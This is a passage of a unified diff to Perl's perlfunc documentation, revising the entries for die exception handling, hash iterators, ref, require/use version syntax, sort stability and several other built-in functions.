-upon, other than to be non-zero.
-
 You can also call L<C<die>|/die LIST> with a reference argument, and if
 this is trapped within an L<C<eval>|/eval EXPR>, L<C<$@>|perlvar/$@>
 contains that reference.  This permits more elaborate exception handling
 using objects that maintain arbitrary state about the exception.  Such a
 scheme is sometimes preferable to matching particular string values of
-L<C<$@>|perlvar/$@> with regular expressions.  Because
-L<C<$@>|perlvar/$@> is a global variable and L<C<eval>|/eval EXPR> may
-be used within object implementations, be careful that analyzing the
-error object doesn't replace the reference in the global variable.  It's
+L<C<$@>|perlvar/$@> with regular expressions.
+
+Because Perl stringifies uncaught exception messages before display,
+you'll probably want to overload stringification operations on
+exception objects.  See L<overload> for details about that.
+The stringified message should be non-empty, and should end in a newline,
+in order to fit in with the treatment of string exceptions.
+Also, because an exception object reference cannot be stringified
+without destroying it, Perl doesn't attempt to append location or other
+information to a reference exception.  If you want location information
+with a complex exception object, you'll have to arrange to put the
+location information into the object yourself.
+
+Because L<C<$@>|perlvar/$@> is a global variable, be careful that
+analyzing an exception caught by C<eval> doesn't replace the reference
+in the global variable.  It's
 easiest to make a local copy of the reference before any manipulations.
 Here's an example:
 
@@ -1760,14 +1768,30 @@
         }
     }
 
-Because Perl stringifies uncaught exception messages before display,
-you'll probably want to overload stringification operations on
-exception objects.  See L<overload> for details about that.
+If an uncaught exception results in interpreter exit, the exit code is
+determined from the values of L<C<$!>|perlvar/$!> and
+L<C<$?>|perlvar/$?> with this pseudocode:
 
+    exit $! if $!;              # errno
+    exit $? >> 8 if $? >> 8;    # child exit status
+    exit 255;                   # last resort
+
+As with L<C<exit>|/exit EXPR>, L<C<$?>|perlvar/$?> is set prior to
+unwinding the call stack; any C<DESTROY> or C<END> handlers can then
+alter this value, and thus Perl's exit code.
+
+The intent is to squeeze as much possible information about the likely cause
+into the limited space of the system exit code.  However, as
+L<C<$!>|perlvar/$!> is the value of C's C<errno>, which can be set by
+any system call, this means that the value of the exit code used by
+L<C<die>|/die LIST> can be non-predictable, so should not be relied
+upon, other than to be non-zero.
+
 You can arrange for a callback to be run just before the
 L<C<die>|/die LIST> does its deed, by setting the
 L<C<$SIG{__DIE__}>|perlvar/%SIG> hook.  The associated handler is called
-with the error text and can change the error message, if it sees fit, by
+with the exception as an argument, and can change the exception,
+if it sees fit, by
 calling L<C<die>|/die LIST> again.  See L<perlvar/%SIG> for details on
 setting L<C<%SIG>|perlvar/%SIG> entries, and L<C<eval>|/eval EXPR> for some
 examples.  Although this feature was to be run only right before your
@@ -1945,7 +1969,8 @@
 L<C<keys>|/keys HASH>, and L<C<values>|/values HASH>.  The iterator is
 implicitly reset when L<C<each>|/each HASH> has reached the end as just
 described; it can be explicitly reset by calling L<C<keys>|/keys HASH>
-or L<C<values>|/values HASH> on the hash or array.  If you add or delete
+or L<C<values>|/values HASH> on the hash or array, or by referencing
+the hash (but not array) in list context.  If you add or delete
 a hash's elements while iterating over it, the effect on the iterator is
 unspecified; for example, entries may be skipped or duplicated--so don't
 do that.  Exception: It is always safe to delete the item most recently
@@ -1959,6 +1984,21 @@
 Tied hashes may have a different ordering behaviour to perl's hash
 implementation.
 
+The iterator used by C<each> is attached to the hash or array, and is
+shared between all iteration operations applied to the same hash or array.
+Thus all uses of C<each> on a single hash or array advance the same
+iterator location.  All uses of C<each> are also subject to having the
+iterator reset by any use of C<keys> or C<values> on the same hash or
+array, or by the hash (but not array) being referenced in list context.
+This makes C<each>-based loops quite fragile: it is easy to arrive at
+such a loop with the iterator already part way through the object, or to
+accidentally clobber the iterator state during execution of the loop body.
+It's easy enough to explicitly reset the iterator before starting a loop,
+but there is no way to insulate the iterator state used by a loop from
+the iterator state used by anything else that might execute during the
+loop body.  To avoid these problems, use a C<foreach> loop rather than
+C<while>-C<each>.
+
 This prints out your environment like the L<printenv(1)> program,
 but in a different order:
 
@@ -1972,6 +2012,10 @@
 
 As of Perl 5.18 you can use a bare L<C<each>|/each HASH> in a C<while>
 loop, which will set L<C<$_>|perlvar/$_> on every iteration.
+If either an C<each> expression or an explicit assignment of an C<each>
+expression to a scalar is used as a C<while>/C<for> condition, then
+the condition actually tests for definedness of the expression's value,
+not for its regular truth value.
 
     while (each %ENV) {
 	print "$_=$ENV{$_}\n";
@@ -2486,10 +2530,6 @@
     if (exists $ref->{"Some key"})    { }
     print $ref;  # prints HASH(0x80d3d5c)
 
-This surprising autovivification in what does not at first--or even
-second--glance appear to be an lvalue context may be fixed in a future
-release.
-
 Use of a subroutine call, rather than a subroutine name, as an argument
 to L<C<exists>|/exists EXPR> is an error.
 
@@ -2661,9 +2701,12 @@
 =item fileno FILEHANDLE
 X<fileno>
 
+=item fileno DIRHANDLE
+
 =for Pod::Functions return file descriptor from filehandle
 
-Returns the file descriptor for a filehandle, or undefined if the
+Returns the file descriptor for a filehandle or directory handle,
+or undefined if the
 filehandle is not open.  If there is no real file descriptor at the OS
 level, as can happen with filehandles connected to memory objects via
 L<C<open>|/open FILEHANDLE,EXPR> with a reference for the third
@@ -2760,8 +2803,8 @@
     sub lock {
         my ($fh) = @_;
         flock($fh, LOCK_EX) or die "Cannot lock mailbox - $!\n";
-
-        # and, in case someone appended while we were waiting...
+        # and, in case we're running on a very old UNIX
+        # variant without the modern O_APPEND semantics...
         seek($fh, 0, SEEK_END) or die "Cannot seek - $!\n";
     }
 
@@ -2986,6 +3029,9 @@
 (See L<getpriority(2)>.)  Will raise a fatal exception if used on a
 machine that doesn't implement L<getpriority(2)>.
 
+C<WHICH> can be any of C<PRIO_PROCESS>, C<PRIO_PGRP> or C<PRIO_USER>
+imported from L<POSIX/RESOURCE CONSTANTS>.
+
 Portability issues: L<perlport/getpriority>.
 
 =item getpwnam NAME
@@ -3234,6 +3280,17 @@
 they aren't, because a C<File::stat> object is different from
 a C<User::pwent> object.
 
+Many of these functions are not safe in a multi-threaded environment
+where more than one thread can be using them.  In particular, functions
+like C<getpwent()> iterate per-process and not per-thread, so if two
+threads are simultaneously iterating, neither will get all the records.
+
+Some systems have thread-safe versions of some of the functions, such as
+C<getpwnam_r()> instead of C<getpwnam()>.  There, Perl automatically and
+invisibly substitutes the thread-safe version, without notice.  This
+means that code that safely runs on some systems can fail on others that
+lack the thread-safe versions.
+
 Portability issues: L<perlport/getpwnam> to L<perlport/endservent>.
 
 =item getsockname SOCKET
@@ -3336,6 +3393,13 @@
 L<C<bsd_glob>|File::Glob/C<bsd_glob>>, which does not treat whitespace
 as a pattern separator.
 
+If a C<glob> expression is used as the condition of a C<while> or C<for>
+loop, then it will be implicitly assigned to C<$_>.  If either a C<glob>
+expression or an explicit assignment of a C<glob> expression to a scalar
+is used as a C<while>/C<for> condition, then the condition actually
+tests for definedness of the expression's value, not for its regular
+truth value.
+
 Portability issues: L<perlport/glob>.
 
 =item gmtime EXPR
@@ -3395,7 +3459,12 @@
 Use of C<goto LABEL> or C<goto EXPR> to jump into a construct is
 deprecated and will issue a warning.  Even then, it may not be used to
 go into any construct that requires initialization, such as a
-subroutine or a C<foreach> loop.  It also can't be used to go into a
+subroutine, a C<foreach> loop, or a C<given>
+block.  In general, it may not be used to jump into the parameter
+of a binary or list operator, but it may be used to jump into the
+I<first> parameter of a binary operator.  (The C<=>
+assignment operator's "first" operand is its right-hand
+operand.)  It also can't be used to go into a
 construct that is optimized away.
 
 The C<goto &NAME> form is quite different from the other forms of
@@ -3614,7 +3683,8 @@
 insertion and deletion of items.
 
 As a side effect, calling L<C<keys>|/keys HASH> resets the internal
-iterator of the HASH or ARRAY (see L<C<each>|/each HASH>).  In
+iterator of the HASH or ARRAY (see L<C<each>|/each HASH>) before
+yielding the keys.  In
 particular, calling L<C<keys>|/keys HASH> in void context resets the
 iterator with no other overhead.
 
@@ -3762,9 +3832,10 @@
         #...
     }
 
-L<C<last>|/last LABEL> cannot be used to exit a block that returns a
-value such as C<eval {}>, C<sub {}>, or C<do {}>, and should not be used
-to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
+L<C<last>|/last LABEL> cannot return a value from a block that typically
+returns a value, such as C<eval {}>, C<sub {}>, or C<do {}>. It will perform
+its flow control behavior, which precludes any return value. It should not be
+used to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
 operation.
 
 Note that a block by itself is semantically identical to a loop
@@ -4071,12 +4142,11 @@
 =for Pod::Functions apply a change to a list to get back a new list with the changes
 
 Evaluates the BLOCK or EXPR for each element of LIST (locally setting
-L<C<$_>|perlvar/$_> to each element) and returns the list value composed
-of the
-results of each such evaluation.  In scalar context, returns the
-total number of elements so generated.  Evaluates BLOCK or EXPR in
-list context, so each element of LIST may produce zero, one, or
-more elements in the returned value.
+L<C<$_>|perlvar/$_> to each element) and composes a list of the results of
+each such evaluation.  Each element of LIST may produce zero, one, or more
+elements in the generated list, so the number of elements in the generated
+list may differ from that in LIST.  In scalar context, returns the total
+number of elements so generated.  In list context, returns the generated list.
 
     my @chars = map(chr, @numbers);
 
@@ -4143,7 +4213,7 @@
 
 to get a list of anonymous hashes each with only one entry apiece.
 
-=item mkdir FILENAME,MASK
+=item mkdir FILENAME,MODE
 X<mkdir> X<md> X<directory, create>
 
 =item mkdir FILENAME
@@ -4153,19 +4223,19 @@
 =for Pod::Functions create a directory
 
 Creates the directory specified by FILENAME, with permissions
-specified by MASK (as modified by L<C<umask>|/umask EXPR>).  If it
+specified by MODE (as modified by L<C<umask>|/umask EXPR>).  If it
 succeeds it returns true; otherwise it returns false and sets
 L<C<$!>|perlvar/$!> (errno).
-MASK defaults to 0777 if omitted, and FILENAME defaults
+MODE defaults to 0777 if omitted, and FILENAME defaults
 to L<C<$_>|perlvar/$_> if omitted.
 
-In general, it is better to create directories with a permissive MASK
+In general, it is better to create directories with a permissive MODE
 and let the user modify that with their L<C<umask>|/umask EXPR> than it
 is to supply
-a restrictive MASK and give the user no way to be more permissive.
+a restrictive MODE and give the user no way to be more permissive.
 The exceptions to this rule are when the file or directory should be
 kept private (mail files, for instance).  The documentation for
-L<C<umask>|/umask EXPR> discusses the choice of MASK in more detail.
+L<C<umask>|/umask EXPR> discusses the choice of MODE in more detail.
 
 Note that according to the POSIX 1003.1-1996 the FILENAME may have any
 number of trailing slashes.  Some operating and filesystems do not get
@@ -4293,9 +4363,10 @@
 as of Perl 5.18.0, allows a label name to be computed at run time, being
 otherwise identical to C<next LABEL>.
 
-L<C<next>|/next LABEL> cannot be used to exit a block which returns a
-value such as C<eval {}>, C<sub {}>, or C<do {}>, and should not be used
-to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
+L<C<next>|/next LABEL> cannot return a value from a block that typically
+returns a value, such as C<eval {}>, C<sub {}>, or C<do {}>. It will perform
+its flow control behavior, which precludes any return value. It should not be
+used to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
 operation.
 
 Note that a block by itself is semantically identical to a loop
@@ -4530,6 +4601,13 @@
     open(STDOUT, ">", \$variable)
 	or die "Can't open STDOUT: $!";
 
+The scalars for in-memory files are treated as octet strings: unless
+the file is being opened with truncation the scalar may not contain
+any code points over 0xFF.
+
+Opening in-memory files I<can> fail for a variety of reasons.  As with
+any other C<open>, check the return value for success.
+
 See L<perliol> for detailed info on PerlIO.
 
 General examples:
@@ -4775,7 +4853,8 @@
 dirhandle, usually the real dirhandle name.  If DIRHANDLE is an undefined
 scalar variable (or array or hash element), the variable is assigned a
 reference to a new anonymous dirhandle; that is, it's autovivified.
-DIRHANDLEs have their own namespace separate from FILEHANDLEs.
+Dirhandles are the same objects as filehandles; an I/O object can only
+be open as one of these handle types at once.
 
 See the example at L<C<readdir>|/readdir DIRHANDLE>.
 
@@ -4959,7 +5038,7 @@
           those.  Raises an exception otherwise.)
 
     i  A signed integer value.
-    I  A unsigned integer value.
+    I  An unsigned integer value.
          (This 'integer' is _at_least_ 32 bits wide.  Its exact
           size depends on what a local C compiler calls 'int'.)
 
@@ -6079,6 +6158,10 @@
 
 As of Perl 5.12 you can use a bare L<C<readdir>|/readdir DIRHANDLE> in a
 C<while> loop, which will set L<C<$_>|perlvar/$_> on every iteration.
+If either a C<readdir> expression or an explicit assignment of a
+C<readdir> expression to a scalar is used as a C<while>/C<for> condition,
+then the condition actually tests for definedness of the expression's
+value, not for its regular truth value.
 
     opendir(my $dh, $some_dir) || die "Can't open $some_dir: $!";
     while (readdir $dh) {
@@ -6148,6 +6231,13 @@
         }
     }
 
+Like the C<< <EXPR> >> operator, if a C<readline> expression is
+used as the condition of a C<while> or C<for> loop, then it will be
+implicitly assigned to C<$_>.  If either a C<readline> expression or
+an explicit assignment of a C<readline> expression to a scalar is used
+as a C<while>/C<for> condition, then the condition actually tests for
+definedness of the expression's value, not for its regular truth value.
+
 =item readlink EXPR
 X<readlink>
 
@@ -6238,9 +6328,10 @@
         print;
     }
 
-L<C<redo>|/redo LABEL> cannot be used to retry a block that returns a
-value such as C<eval {}>, C<sub {}>, or C<do {}>, and should not be used
-to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
+L<C<redo>|/redo LABEL> cannot return a value from a block that typically
+returns a value, such as C<eval {}>, C<sub {}>, or C<do {}>. It will perform
+its flow control behavior, which precludes any return value. It should not be
+used to exit a L<C<grep>|/grep BLOCK LIST> or L<C<map>|/map BLOCK LIST>
 operation.
 
 Note that a block by itself is semantically identical to a loop
@@ -6263,60 +6354,47 @@
 
 =for Pod::Functions find out the type of thing being referenced
 
-Returns a non-empty string if EXPR is a reference, the empty
-string otherwise.  If EXPR is not specified, L<C<$_>|perlvar/$_> will be
-used.  The value returned depends on the type of thing the reference is
-a reference to.
+Examines the value of EXPR, expecting it to be a reference, and returns
+a string giving information about the reference and the type of referent.
+If EXPR is not specified, L<C<$_>|perlvar/$_> will be used.
 
-Builtin types include:
+If the operand is not a reference, then the empty string will be returned.
+An empty string will only be returned in this situation.  C<ref> is often
+useful to just test whether a value is a reference, which can be done
+by comparing the result to the empty string.  It is a common mistake
+to use the result of C<ref> directly as a truth value: this goes wrong
+because C<0> (which is false) can be returned for a reference.
 
-    SCALAR
-    ARRAY
-    HASH
-    CODE
-    REF
-    GLOB
-    LVALUE
-    FORMAT
-    IO
-    VSTRING
-    Regexp
+If the operand is a reference to a blessed object, then the name of
+the class into which the referent is blessed will be returned.  C<ref>
+doesn't care what the physical type of the referent is; blessing takes
+precedence over such concerns.  Beware that exact comparison of C<ref>
+results against a class name doesn't perform a class membership test:
+a class's members also include objects blessed into subclasses, for
+which C<ref> will return the name of the subclass.  Also beware that
+class names can clash with the built-in type names (described below).
 
-You can think of L<C<ref>|/ref EXPR> as a C<typeof> operator.
+If the operand is a reference to an unblessed object, then the return
+value indicates the type of object.  If the unblessed referent is not
+a scalar, then the return value will be one of the strings C<ARRAY>,
+C<HASH>, C<CODE>, C<FORMAT>, or C<IO>, indicating only which kind of
+object it is.  If the unblessed referent is a scalar, then the return
+value will be one of the strings C<SCALAR>, C<VSTRING>, C<REF>, C<GLOB>,
+C<LVALUE>, or C<REGEXP>, depending on the kind of value the scalar
+currently has.  Beware that these built-in type names can also be used as
+class names, so C<ref> returning one of these names doesn't unambiguously
+indicate that the referent is of the kind to which the name refers.
 
-    if (ref($r) eq "HASH") {
-        print "r is a reference to a hash.\n";
-    }
-    unless (ref($r)) {
-        print "r is not a reference at all.\n";
-    }
+The ambiguity between built-in type names and class names significantly
+limits the utility of C<ref>.  For unambiguous information, use
+L<C<Scalar::Util::blessed()>|Scalar::Util/blessed> for information about
+blessing, and L<C<Scalar::Util::reftype()>|Scalar::Util/reftype> for
+information about physical types.  Use L<the C<isa> method|UNIVERSAL/C<<
+$obj->isa( TYPE ) >>> for class membership tests, though one must be
+sure of blessedness before attempting a method call.
 
-The return value C<LVALUE> indicates a reference to an lvalue that is not
-a variable.  You get this from taking the reference of function calls like
-L<C<pos>|/pos SCALAR> or
-L<C<substr>|/substr EXPR,OFFSET,LENGTH,REPLACEMENT>.  C<VSTRING> is
-returned if the reference points to a
-L<version string|perldata/"Version Strings">.
+See also L<perlref> and L<perlobj>.
 
-The result C<Regexp> indicates that the argument is a regular expression
-resulting from L<C<qrE<sol>E<sol>>|/qrE<sol>STRINGE<sol>>.
-
-If the referenced object has been blessed into a package, then that package
-name is returned instead.  But don't use that, as it's now considered
-"bad practice".  For one reason, an object could be using a class called
-C<Regexp> or C<IO>, or even C<HASH>.  Also, L<C<ref>|/ref EXPR> doesn't
-take into account subclasses, like
-L<C<isa>|UNIVERSAL/C<< $obj->isa( TYPE ) >>> does.
-
-Instead, use L<C<blessed>|Scalar::Util/blessed> (in the L<Scalar::Util>
-module) for boolean checks, L<C<isa>|UNIVERSAL/C<< $obj->isa( TYPE ) >>>
-for specific class checks and L<C<reftype>|Scalar::Util/reftype> (also
-from L<Scalar::Util>) for type checks.  (See L<perlobj> for details and
-a L<C<blessed>|Scalar::Util/blessed>/L<C<isa>|UNIVERSAL/C<< $obj->isa( TYPE ) >>>
-example.)
-
-See also L<perlref>.
-
 =item rename OLDNAME,NEWNAME
 X<rename> X<move> X<mv> X<ren>
 
@@ -6349,23 +6427,24 @@
 Demands a version of Perl specified by VERSION, or demands some semantics
 specified by EXPR or by L<C<$_>|perlvar/$_> if EXPR is not supplied.
 
-VERSION may be either a numeric argument such as 5.006, which will be
-compared to L<C<$]>|perlvar/$]>, or a literal of the form v5.6.1, which
-will be compared to L<C<$^V>|perlvar/$^V> (or C<$PERL_VERSION> in
-L<English>).  An exception is raised if VERSION is greater than the
-version of the current Perl interpreter.  Compare with
+VERSION may be either a literal such as v5.24.1, which will be
+compared to L<C<$^V>|perlvar/$^V> (or C<$PERL_VERSION> in L<English>),
+or a numeric argument of the form 5.024001, which will be compared to
+L<C<$]>|perlvar/$]>. An exception is raised if VERSION is greater than
+the version of the current Perl interpreter.  Compare with
 L<C<use>|/use Module VERSION LIST>, which can do a similar check at
 compile time.
 
-Specifying VERSION as a literal of the form v5.6.1 should generally be
-avoided, because it leads to misleading error messages under earlier
-versions of Perl that do not support this syntax.  The equivalent numeric
-version should be used instead.
+Specifying VERSION as a numeric argument of the form 5.024001 should
+generally be avoided as older less readable syntax compared to
+v5.24.1. Before perl 5.8.0 (released in 2002), the more verbose numeric
+form was the only supported syntax, which is why you might see it in
+older code.
 
-    require v5.6.1;     # run time version check
-    require 5.6.1;      # ditto
-    require 5.006_001;  # ditto; preferred for backwards
-                          compatibility
+    require v5.24.1;    # run time version check
+    require 5.24.1;     # ditto
+    require 5.024_001;  # ditto; older syntax compatible
+                          with perl 5.6
 
 Otherwise, L<C<require>|/require VERSION> demands that a library file be
 included if it hasn't already been included.  The file is included via
@@ -6432,7 +6511,8 @@
 If EXPR is a bareword, L<C<require>|/require VERSION> assumes a F<.pm>
 extension and replaces C<::> with C</> in the filename for you,
 to make it easy to load standard modules.  This form of loading of
-modules does not risk altering your namespace.
+modules does not risk altering your namespace, however it will autovivify
+the stash for the required module.
 
 In other words, if you try this:
 
@@ -6439,7 +6519,8 @@
         require Foo::Bar;     # a splendid bareword
 
 The require function will actually look for the F<Foo/Bar.pm> file in the
-directories specified in the L<C<@INC>|perlvar/@INC> array.
+directories specified in the L<C<@INC>|perlvar/@INC> array, and it will
+autovivify the C<Foo::Bar::> stash at compile time.
 
 But if you try this:
 
@@ -6454,12 +6535,20 @@
 
         eval "require $class";
 
+or you could do
+
+        require "Foo/Bar.pm";
+
+Neither of these forms will autovivify any stashes at compile time and
+only have run time effects.
+
 Now that you understand how L<C<require>|/require VERSION> looks for
 files with a bareword argument, there is a little extra functionality
 going on behind the scenes.  Before L<C<require>|/require VERSION> looks
 for a F<.pm> extension, it will first look for a similar filename with a
 F<.pmc> extension.  If this file is found, it will be loaded in place of
-any file ending in a F<.pm> extension.
+any file ending in a F<.pm> extension. This applies to both the explicit
+C<require "Foo/Bar.pm";> form and the C<require Foo::Bar;> form.
 
 You can also insert hooks into the import facility by putting Perl code
 directly into the L<C<@INC>|perlvar/@INC> array.  There are three forms
@@ -6493,11 +6582,12 @@
 line as read in L<C<$_>|perlvar/$_>.
 Again, return 1 for each valid line, and 0 after all lines have been
 returned.
+For historical reasons the subroutine will receive a meaningless argument
+(in fact always the numeric value zero) as C<$_[0]>.
 
 =item 4
 
-Optional state for the subroutine.  The state is passed in as C<$_[1]>.  A
-reference to the subroutine itself is passed in as C<$_[0]>.
+Optional state for the subroutine.  The state is passed in as C<$_[1]>.
 
 =back
 
@@ -7026,6 +7116,9 @@
 (See L<setpriority(2)>.)  Raises an exception when used on a machine
 that doesn't implement L<setpriority(2)>.
 
+C<WHICH> can be any of C<PRIO_PROCESS>, C<PRIO_PGRP> or C<PRIO_USER>
+imported from L<POSIX/RESOURCE CONSTANTS>.
+
 Portability issues: L<perlport/setpriority>.
 
 =item setsockopt SOCKET,LEVEL,OPTNAME,OPTVAL
@@ -7248,7 +7341,7 @@
 Portability issues: L<perlport/socketpair>.
 
 =item sort SUBNAME LIST
-X<sort> X<qsort> X<quicksort> X<mergesort>
+X<sort>
 
 =item sort BLOCK LIST
 
@@ -7300,19 +7393,9 @@
 actually modifies the element in the original list.  This is usually
 something to be avoided when writing clear code.
 
-Perl 5.6 and earlier used a quicksort algorithm to implement sort.
-That algorithm was not stable and I<could> go quadratic.  (A I<stable> sort
-preserves the input order of elements that compare equal.  Although
-quicksort's run time is O(NlogN) when averaged over all arrays of
-length N, the time can be O(N**2), I<quadratic> behavior, for some
-inputs.)  In 5.7, the quicksort implementation was replaced with
-a stable mergesort algorithm whose worst-case behavior is O(NlogN).
-But benchmarks indicated that for some inputs, on some platforms,
-the original quicksort was faster.  5.8 has a L<sort> pragma for
-limited control of the sort.  Its rather blunt control of the
-underlying algorithm may not persist into future Perls, but the
-ability to characterize the input or output in implementation
-independent ways quite probably will.
+Historically Perl has varied in whether sorting is stable by default.
+If stability matters, it can be controlled explicitly by using the
+L<sort> pragma.
 
 Examples:
 
@@ -7395,14 +7478,10 @@
     package main;
     my @new = sort Other::backwards @old;
 
-    # guarantee stability, regardless of algorithm
+    # guarantee stability
     use sort 'stable';
     my @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
 
-    # force use of mergesort (not portable outside Perl 5.8)
-    use sort '_mergesort';  # note discouraging _
-    my @new = sort { substr($a, 3, 5) cmp substr($b, 3, 5) } @old;
-
 Warning: syntactical care is required when sorting the list returned from
 a function.  If you want to sort the list returned by the function call
 C<find_records(@key)>, you can use:
@@ -7463,7 +7542,7 @@
 
    # prints tinysmallnormalbighuge
 
-C<$a> and C<$b> are implicitely local to the sort() execution and regain their
+C<$a> and C<$b> are implicitly local to the sort() execution and regain their
 former values upon completing the sort.
 
 Sort subroutines written using C<$a> and C<$b> are bound to their calling
@@ -7616,6 +7695,14 @@
 pattern argument to split; in Perl 5.18.0 and later this special case is
 triggered by any expression which evaluates to the simple string S<C<" ">>.
 
+As of Perl 5.28, this special-cased whitespace splitting works as expected in
+the scope of L<< S<C<"use feature 'unicode_strings">>|feature/The
+'unicode_strings' feature >>. In previous versions, and outside the scope of
+that feature, it exhibits L<perlunicode/The "Unicode Bug">: characters that are
+whitespace according to Unicode rules but not according to ASCII rules can be
+treated as part of fields rather than as field separators, depending on the
+string's internal encoding.
+
 If omitted, PATTERN defaults to a single space, S<C<" ">>, triggering
 the previously described I<awk> emulation.
 
@@ -7981,8 +8068,8 @@
    h           interpret integer as C type "short" or
                "unsigned short"
    j           interpret integer as C type "intmax_t" on Perl
-               5.14 or later, and only with a C99 compiler
-               (unportable)
+               5.14 or later; and only with a C99 compiler
+               prior to Perl 5.30 (unportable)
    l           interpret integer as C type "long" or
                "unsigned long"
    q, L, or ll interpret integer as C type "long long",
@@ -8207,6 +8294,15 @@
 (This works on machines only for which the device number is negative
 under NFS.)
 
+On some platforms inode numbers are of a type larger than perl knows how
+to handle as integer numerical values.  If necessary, an inode number will
+be returned as a decimal string in order to preserve the entire value.
+If used in a numeric context, this will be converted to a floating-point
+numerical value, with rounding, a fate that is best avoided.  Therefore,
+you should prefer to compare inode numbers using C<eq> rather than C<==>.
+C<eq> will work fine on inode numbers that are represented numerically,
+as well as those represented as strings.
+
 Because the mode contains both the file type and its permissions, you
 should mask off the file type portion and (s)printf using a C<"%o">
 if you want to see the real permissions.
@@ -8317,7 +8413,7 @@
 parentheses.  With a parenthesised list, L<C<undef>|/undef EXPR> can be
 used as a
 dummy placeholder.  However, since initialization of state variables in
-list context is currently not possible this would serve no purpose.
+such lists is currently not possible this would serve no purpose.
 
 L<C<state>|/state VARLIST> is available only if the
 L<C<"state"> feature|feature/The 'state' feature> is enabled or if it is
@@ -9074,7 +9170,7 @@
 bits, or three octal digits: C<0750> (the leading 0 indicates octal
 and isn't one of the digits).  The L<C<umask>|/umask EXPR> value is such
 a number representing disabled permissions bits.  The permission (or
-"mode") values you pass L<C<mkdir>|/mkdir FILENAME,MASK> or
+"mode") values you pass L<C<mkdir>|/mkdir FILENAME,MODE> or
 L<C<sysopen>|/sysopen FILEHANDLE,FILENAME,MODE> are modified by your
 umask, so even if you tell
 L<C<sysopen>|/sysopen FILEHANDLE,FILENAME,MODE> to create a file with
@@ -9087,7 +9183,7 @@
 
 Here's some advice: supply a creation mode of C<0666> for regular
 files (in L<C<sysopen>|/sysopen FILEHANDLE,FILENAME,MODE>) and one of
-C<0777> for directories (in L<C<mkdir>|/mkdir FILENAME,MASK>) and
+C<0777> for directories (in L<C<mkdir>|/mkdir FILENAME,MODE>) and
 executable files.  This gives users the freedom of
 choice: if they want protected files, they might choose process umasks
 of C<022>, C<027>, or even the particularly antisocial mask of C<077>.
@@ -9292,25 +9388,24 @@
 except that Module I<must> be a bareword.
 The importation can be made conditional by using the L<if> module.
 
-In the peculiar C<use VERSION> form, VERSION may be either a positive
-decimal fraction such as 5.006, which will be compared to
-L<C<$]>|perlvar/$]>, or a v-string of the form v5.6.1, which will be
-compared to L<C<$^V>|perlvar/$^V> (aka $PERL_VERSION).  An
-exception is raised if VERSION is greater than the version of the
-current Perl interpreter; Perl will not attempt to parse the rest of the
-file.  Compare with L<C<require>|/require VERSION>, which can do a
-similar check at run time.
-Symmetrically, C<no VERSION> allows you to specify that you want a version
-of Perl older than the specified one.
+In the C<use VERSION> form, VERSION may be either a v-string such as
+v5.24.1, which will be compared to L<C<$^V>|perlvar/$^V> (aka
+$PERL_VERSION), or a numeric argument of the form 5.024001, which will
+be compared to L<C<$]>|perlvar/$]>.  An exception is raised if VERSION
+is greater than the version of the current Perl interpreter; Perl will
+not attempt to parse the rest of the file.  Compare with
+L<C<require>|/require VERSION>, which can do a similar check at run
+time.  Symmetrically, C<no VERSION> allows you to specify that you
+want a version of Perl older than the specified one.
 
-Specifying VERSION as a literal of the form v5.6.1 should generally be
-avoided, because it leads to misleading error messages under earlier
-versions of Perl (that is, prior to 5.6.0) that do not support this
-syntax.  The equivalent numeric version should be used instead.
+Specifying VERSION as a numeric argument of the form 5.024001 should
+generally be avoided as older less readable syntax compared to
+v5.24.1. Before perl 5.8.0 released in 2002 the more verbose numeric
+form was the only supported syntax, which is why you might see it in
 
-    use v5.6.1;     # compile time version check
-    use 5.6.1;      # ditto
-    use 5.006_001;  # ditto; preferred for backwards compatibility
+    use v5.24.1;    # compile time version check
+    use 5.24.1;     # ditto
+    use 5.024_001;  # ditto; older syntax compatible with perl 5.6
 
 This is often useful if you need to check the current Perl version before
 L<C<use>|/use Module VERSION LIST>ing library modules that won't work
@@ -9369,6 +9464,15 @@
 inherited from the L<C<UNIVERSAL>|UNIVERSAL> class, croaks if the given
 version is larger than the value of the variable C<$Module::VERSION>.
 
+The VERSION argument cannot be an arbitrary expression.  It only counts
+as a VERSION argument if it is a version number literal, starting with
+either a digit or C<v> followed by a digit.  Anything that doesn't
+look like a version literal will be parsed as the start of the LIST.
+Nevertheless, many attempts to use an arbitrary expression as a VERSION
+argument will appear to work, because L<Exporter>'s C<import> method
+handles numeric arguments specially, performing version checks rather
+than treating them as things to export.
+
 Again, there is a distinction between omitting LIST (L<C<import>|/import
 LIST> called with no arguments) and an explicit empty LIST C<()>
 (L<C<import>|/import LIST> not called).  Note that there is no comma
@@ -9385,7 +9489,7 @@
     use strict   qw(subs vars refs);
     use subs     qw(afunc blurfl);
     use warnings qw(all);
-    use sort     qw(stable _quicksort _mergesort);
+    use sort     qw(stable);
 
 Some of these pseudo-modules import semantics into the current
 block scope (like L<C<strict>|strict> or L<C<integer>|integer>, unlike
@@ -9500,9 +9604,12 @@
 insertion and deletion of items.
 
 As a side effect, calling L<C<values>|/values HASH> resets the HASH or
-ARRAY's internal iterator, see L<C<each>|/each HASH>.  (In particular,
+ARRAY's internal iterator (see L<C<each>|/each HASH>) before yielding the
+values.  In particular,
 calling L<C<values>|/values HASH> in void context resets the iterator
-with no other overhead.  Apart from resetting the iterator,
+with no other overhead.
+
+Apart from resetting the iterator,
 C<values @array> in list context is the same as plain C<@array>.
 (We recommend that you use void context C<keys @array> for this, but
 reasoned that taking C<values @array> out would require more
@@ -9571,8 +9678,9 @@
 the UTF8 flag set), L<C<vec>|/vec EXPR,OFFSET,BITS> tries to convert it
 to use a one-byte-per-character internal representation. However, if the
 string contains characters with values of 256 or higher, that conversion
-will fail. In that situation, C<vec> will operate on the underlying buffer
-regardless, in its internal UTF-8 representation.
+will fail, and a deprecation message will be raised.  In that situation,
+C<vec> will operate on the underlying buffer regardless, in its internal
+UTF-8 representation.  In Perl 5.32, this will be a fatal error.
 
 Strings created with L<C<vec>|/vec EXPR,OFFSET,BITS> can also be
 manipulated with the logical
@@ -9864,21 +9972,19 @@
 
 =for Pod::Functions print debugging info
 
-Prints the value of LIST to STDERR.  If the last element of LIST does
-not end in a newline, it appends the same file/line number text as
